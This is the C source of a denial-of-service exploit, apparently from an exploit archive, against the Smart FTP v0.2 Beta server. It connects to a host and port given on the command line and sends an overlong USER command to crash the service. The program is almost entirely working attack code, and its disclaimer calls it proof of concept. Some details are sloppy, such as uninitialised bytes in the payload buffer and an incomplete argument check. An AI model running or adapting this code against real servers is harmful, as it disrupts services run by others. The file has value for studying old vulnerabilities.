Smart FTP v0.2 Beta denial of service.
7e53b450c8cd258654a90a3b865dcd89ba6cc7dc9badc0a0181198ea984c848f
/*
sftp02b.c - Smart FTP v0.2 Beta DoS
(c) Chopsui-cide[MmM] 2000
The Mad Midget Mafia - http://midgets.box.sk/
Disclaimer: this program is proof of concept code, and
is not intended to be used maliciously. By using this
code, you take all responsibility for any damage incurred
by the use of it.
usage: sftp02b <host> <port>
*/
#include <winsock.h>
#include <stdio.h>
void fatal_error(char *msg);
int connect_sock(int sock, char *host, int port);
#define LEN 246
void main(int argc, char *argv[])
{
int c, s;
char str[LEN + 9];
WSADATA wdata;
WORD wvreq;
wvreq = MAKEWORD(1, 1);
if (WSAStartup(wvreq, &wdata) < 0) fatal_error("Unable to initialise Winsock.");
strcpy(str, "USER ");
c = 5;
do
{
str[c] = 'x';
c++;
} while(c < LEN);
str[LEN + 6] = 0x0d;
str[LEN + 7] = 0x0a;
str[LEN + 8] = 0;
c = 0;
if (argc < 2)
{
printf("usage: smartftp <host> <port>\n");
exit(1);
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) fatal_error("Could not create socket descriptor.");
printf("Connecting...");
connect_sock(s, argv[1], atoi(argv[2]));
printf("done.\n");
if (send(s, str, strlen(str), 0) == -1) fatal_error("Error sending.");
Sleep(6000); // Wait six seconds.
closesocket(s);
}
void fatal_error(char *msg)
{
printf("%s\n", msg);
exit(1);
}
int connect_sock(int sock, char *host, int port)
{
struct sockaddr_in addr;
struct hostent *he;
memset(&addr, '0', sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(host);
addr.sin_port = htons(port);
if ((he = gethostbyname(host)) != NULL) memcpy((char *)&addr.sin_addr, he->h_addr, he->h_length);
else if ((addr.sin_addr.s_addr = inet_addr(host)) == -1) fatal_error("Invalid host.");
if (connect(sock, (struct sockaddr_in *)&addr, 16) == -1) fatal_error("Error connecting.");
return 0;
}